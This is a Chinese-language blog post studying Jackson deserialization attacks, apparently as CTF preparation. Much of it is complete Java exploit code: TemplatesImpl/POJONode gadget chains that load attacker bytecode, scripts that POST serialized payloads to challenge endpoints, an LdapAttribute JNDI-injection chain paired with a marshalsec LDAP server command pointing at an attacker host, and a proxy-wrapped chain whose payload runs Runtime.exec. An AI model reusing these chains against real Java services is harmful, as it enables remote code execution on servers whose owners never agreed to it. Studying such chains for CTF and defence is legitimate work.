Jackson

Jackson

前言:

自从在一次比赛之后看了Boogipop大佬的wp后,了解到了Jackson,现在心心念念的Jackson终于要开始啦

序列化与反序列化

ObjectMapper.writeValueAsString() 序列化

ObjectMapper.readValue() 反序列化

多态问题

DefaultTyping

  • JAVA_LANG_OBJECT
  • OBJECT_AND_NON_CONCRETE
  • NON_CONCRETE_AND_ARRAYS
  • NON_FINAL

JAVA_LANG_OBJECT

类里的属性被声明为一个Object类型时,会对该Object类型的属性进行序列化和反序列化,并且明确规定类名

User user = new User("Sentiment","123456",new User2());
ObjectMapper mapper = new ObjectMapper();

//JAVA_LANG_OBJECT
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

OBJECT_AND_NON_CONCRETE

默认选项。除了前面提到的特征,当类里有Interface、AbstractClass类时,对其进行序列化和反序列化。

NON_CONCRETE_AND_ARRAYS

除了前面提到的特征外,还支持Array类型。

DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

JsonTypeInfo注解

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

JsonTypeInfo.Id.CLASS @class

public class User {
    private String username;
    private String password;

    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    private Object object;

{"username":"Sentiment","password":"123456","object":{"@class":"Jackson.User2","name":"Tana"}}

//结果
User{username='Sentiment', password='123456', object=User2{name='Tana', object=null}}

@class方式能指定相关类,并进行相关调用。

JsonTypeInfo.Id.MINIMAL_CLASS @c

{"username":"Sentiment","password":"123456","object":{"@c":"jackson.User2","name":"Tana"}}

//结果
User{username='Sentiment', password='123456', object=User2{name='Tana', object=null}}

JsonTypeInfo.Id.NAME

类似于fastjson,加上了@type字段,指明了类名,但是并没有指明包名,因此反序列化时抛出异常,所以此种方式不能进行反序列化

{"username":"Sentiment","password":"123456","object":{"@type":"User2","name":"Tana"}}
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Could not resolve.......

JsonTypeInfo.Id.CUSTOM

直接抛出异常,需要用户自定义来使用

调用过程

反序列化会调用构造函数和setter

序列化会调用getter

与fastjson差不多

Jackson反序列化

前提条件

满足下面三个条件之一即存在Jackson反序列化漏洞:

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

使用DefaultTyping() 记得是数组

mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); 

如果没有开JAVA_LANG_OBJECT,Test类在做反序列化的时候,只是做了赋值,并没有进行实例化,除了设置NON_FINAL以外都可以

序列化的结果是有数组的,修改包名和类名就行

{"username":"zero","password":"123","object":["jackson.User2",{"name":"tana"}]}

payload: (【】中第一个是指定的类,{}中是赋值)

["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"rmi://vps/Exp", "autoCommit":true}]
public class Student {
    public String name;
    public String sex;
    public Object myObject;
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); 

Student s2 = mapper.readValue("{\"name\":\"5wimming\",\"sex\":\"boy\",\"myObject\":[\"jacksonn.Test\",{\"testt\":\"test\"}]}", Student.class);

//myobject被object修饰

反序列化链

Reference

深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com)

Jackson反序列化通杀Web题(过时) - Boogiepop Doesn’t Laugh (boogipop.com)

POJONode (实际调用的是 BaseJsonNode)

POJONode中不存在有toString方法的实现,在其父类BaseJsonNode中存在有,因其为一个抽象类,所以选择使用POJONode这个没有实现toString方法的类进行利用

toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString方法

最关键的就是最后一个方法的调用了,将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString方法,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

Other Gadgets 绕过技巧

按照理论来说只需要寻找到继承BaseJsonNode的类,并且没有重写toSting方法,就能够替代POJONode

通杀 (不知道为什么叫通杀,就是调用toString而已)

package jackson;

import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLOutput;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        POJONode jsonNodes = new POJONode(templatesimpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
//        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
//        val.setAccessible(true);
//        val.set(exp,jsonNodes);
        setValue(exp,"val",jsonNodes);

        deserial((serial(exp)));
       
    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

和fastjson差不多,用的是POJONode

jackson最关键的是这里 !!!!

POJONode是继承ValueNodeValueNode是继承BaseJsonNode

而在BaseJsonNode中存在

Object writeReplace() {
	return NodeSerialization.from(this);
}

意味着 我们在反序列化的时候 会经过这个writeReplace方法 这个方法会对我们的序列化过程进行检查 从而阻止我们的序列化进程,我们需要将其重写出来 将这个方法去掉

image-20231116184725409

按照图示本地生成,复制粘贴BaseJsonNode的内容,然后在本地的文件中删除下面这一部分

Object writeReplace() {
	return NodeSerialization.from(this);
}

流程分析

image-20231116190917633

这是本地的BaseJsonNode

image-20231116191013118

image-20231116190828568

之后一直调试,一直到serializeAsField

image-20231116191438854

二次反序列化

package jackson;

import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {

        Templates templatesimpl = new TemplatesImpl();

//        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\jackson\\InjectToController.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());


        POJONode jsonNodes = new POJONode(templatesimpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);

        setValue(exp,"val",jsonNodes);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
        POJONode jsonNode = new POJONode(signedObject);
        BadAttributeValueExpException exp1 = new BadAttributeValueExpException(null);
        setValue(exp1,"val",jsonNode);


        System.out.println((serial(exp1)));


    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void doPOST(byte[] obj) throws Exception{
        HttpHeaders requestHeaders = new HttpHeaders();
        requestHeaders.set("Content-Type", "text/plain");
//        URI url = new URI("http://neepusec.fun:27010/nomap");
        URI url = new URI("http://192.168.113.134:8080/bypassit");
        //URI url = new URI("http://localhost:8080/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }

}

AliyunCTF bypassit1

package jackson;

import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {

        Templates templatesimpl = new TemplatesImpl();

//        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\jackson\\InjectToController.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());


        POJONode jsonNodes = new POJONode(templatesimpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);

        setValue(exp,"val",jsonNodes);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);

//        deserial(serial(objectOutputStream));
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        byte[] byt=new byte[fileInputStream.available()];
        fileInputStream.read(byt);
        doPOST(byt);

//        System.out.println((serial(exp)));


    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void doPOST(byte[] obj) throws Exception{
        HttpHeaders requestHeaders = new HttpHeaders();
        requestHeaders.set("Content-Type", "text/plain");
//        URI url = new URI("http://neepusec.fun:27010/nomap");
        URI url = new URI("http://192.168.113.134:8080/bypassit");
        //URI url = new URI("http://localhost:8080/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }

}

NewStarCTF 2022 Rome

很明显是打Rome链子,但我们就打jackson

package jackson;

import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {

        Templates templatesimpl = new TemplatesImpl();

//        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
        byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\jackson\\InjectToController.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());


        POJONode jsonNodes = new POJONode(templatesimpl);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(1);

        setValue(exp,"val",jsonNodes);


        System.out.println((serial(exp)));


    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void doPOST(byte[] obj) throws Exception{
        HttpHeaders requestHeaders = new HttpHeaders();
        requestHeaders.set("Content-Type", "text/plain");
//        URI url = new URI("http://neepusec.fun:27010/nomap");
        URI url = new URI("http://192.168.113.134:8080/bypassit");
        //URI url = new URI("http://localhost:8080/bypassit");
        HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }

}

生成结果拿去URL编码后POST就行了

LdapAttribute链

Real-World-CTF 2021

主角就是com.sun.jndi.ldap.LdapAttribute

原题中作者是实战java1.4的古老版本挖掘的链子,但这个类java8也有,所以可以用

看的是Boogipop的文章Jackson反序列化通杀Web题(过时) - Boogiepop Doesn’t Laugh (boogipop.com)

import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.management.JMX;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.CompositeName;
import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;

/**
 * Hello world!
 *
 */
public class LdapAttributeChain
{
    public static void main( String[] args ) throws Exception {
        String ldapCtxUrl = "ldap://127.0.0.1:1099/";
        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[] {"name"});
        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("a//b"));
        POJONode jsonNodes = new POJONode(ldapAttribute);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void Base64Encode(ByteArrayOutputStream bs){
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
        String s = new String(encode);
        System.out.println(s);
        System.out.println(s.length());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

流程分析

前面一样,invoke之后开始

有两个get方法,我们使用下面这个

image-20231118001138170

image-20231118002202020

这里能够jndi注入,出题人就是这里发现能够利用

image-20231118002455283

image-20231118002832449

getUsingURL方法中会获取DN,但是获取的格式为cn=,dn=,假如我们加了后缀,我们后台收到的数据是:

image-20231118002948992

他默认会加一个a呢,这个是payload里a//b决定的,具体的是a//b , rename xx 'a'调试的时候大概看到这个东西

所以我们需要换个工具,如marshall,创建一个类名为a的恶意类,然后按照要求放置即可~

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:8000/#a 1099

然后就能RCE

jacksn链子不稳定问题

关于java反序列化中jackson链子不稳定问题 (pankas.top)

虽然我暂时没遇到过报错,但还是多了解一下

有时会遇到这样的报错

com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])

根本原因

image-20231118154029847

props数组中每个值是BeanPropertyWriter 类型对象,之后循环调用其中的serializeAsField 方法来执行对应方法。而另一边通过分析,props是通过反射 getDeclaredMethods 方法获取到的 ,因此props数组顺序是不确定的

并且当第一次出错后,后面就不会成功,这是因为jackson这个 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer(java.lang.Class<?>, boolean, com.fasterxml.jackson.databind.BeanProperty) 中获取序列化器有缓存机制

流程分析

找清楚这个props 数组的顺序,一路追踪这个变量,发现其根源是在 com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector#collectAll中调用 _addMethods(props) 方法来获取相关 getter 方法,之后将其添加到 prpos 属性中。

image-20231118155057092

解决方法

分析

https://xz.aliyun.com/u/68975

org.springframework.aop.framework.JdkDynamicAopProxy 来解决jackson链子的随机性问题

动态代理是十分强大的,被代理对象所能调用的方法取决与我们所给的接口,其功能取决与我们所给的 handler。当我们用java的反射 getDeclaredMethods 方法去获取其所有方法时也是根据我们提供的接口去获取的

demo

package jackson;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Proxy_test {
    public static void main(String[] args) {
        Object o = Proxy.newProxyInstance(ProxyTest.class.getClassLoader(), new Class[]{test1.class, test2.class}, new MyHandler());
        for(Method m: o.getClass().getDeclaredMethods()){
            System.out.println(m.getName());
        }
    }
}

interface test1{
    public void say456();
}
interface test2{
    public void test123();
}

class ProxyTest {
    public void eat(){
        System.out.println("eat noting");
    }
    public void test(){
        System.out.println("nonono");
    }
    public String getName(String a){
        return a;
    }
}

class MyHandler implements InvocationHandler{
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("invoke dynamic proxy handler");
        return null;
    }
}

image-20231118161431828

所以主要就是看所给的接口和handler就可以了。

javax.xml.transform.Templates 接口其只有 newTransformergetOutputProperties 这个两个方法,让他作为我们代理所需的接口,这样最终通过 getDeclaredMethods 获取到的方法就只有 newTransformergetOutputProperties 了,那么最终获得的getter方法便只有 getOutputProperties 了。

关于这个Templates接口,Boogipop大佬提到TemplatesImpl templatesimpl = new TemplatesImpl();最好换成Templates templatesimpl = new TemplatesImpl();能避免一些错误

image-20231118162500653

image-20231118162554090

这里的 target 获取到的对象由上面所说的 advised 属性得到,我们将所需的 TemplatesImpl 的对象用 org.springframework.aop.framework.AdvisedSupport 封装即可

image-20231118162614666

image-20231118162632689

结果

Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
package jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;

public class avoid_error {

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);
        //利用 JdkDynamicAopProxy 进行封装使其稳定触发
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes = new POJONode(proxyObj);

        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);

        deserial(serial(exp));

    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static String serial(Object data) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(data);
        objectOutputStream.close();
        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        return res;
    }
}

题目中出到的有关jackson的一些东西

JacksonInject

@JsonCreator
   public MyBean(@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) {
       this.Base64Code = Base64Code;
       this.IfInput = IfInput;
   }
@JsonCreator
加在构造函数上面用于反序列化

@JsonProperty
指定Json数据中该属性的键名
//上面这个例子为例,即使变量名不叫Base64Code,序列化后该值的键名一定是Base64Code

@JacksonInject
有该注解的属性它的值不能从Json中获取

这与Jackson的处理逻辑相关

误解注解产生的漏洞 - kuron3k0的博客 | kuron3k0’s Blog

调用readValue后,进入到_deserializeUsingPropertyBased函数,这里循环处理我们的键值对,当前正在处理空键值,propName为空

根据propName会去_propertyLookup中取出对应的creator property,从名字也能看出来,这个就是我们之前的注解生成的,username和password都有对应同名字的键名,但是标注了@JacksonInject键名为空

随后调用_deserializeWithErrorWrapping反序列化得到对应的值,并赋值给buffer中的_creatorParameters

当处理完所有键值对后,取出_creatorParameters调用User的构造函数

调试可以发现,IfInput对应的键名为空,所以获取的是""的值

给出答案,让IfInput的键名为空 即可给IfInput赋值

{"":true,"base64Code":"AAAAAAAA"}

当然这种 trick 也只适用于 creator 中只有一个 @JacksonInject 注解的,如果有多个注解,那么 "" 的索引位置只会是一个,一样会走到 _findMissing


Jackson
https://zer0peach.github.io/2023/09/27/Jackson/
作者
Zer0peach
发布于
2023年9月27日
许可协议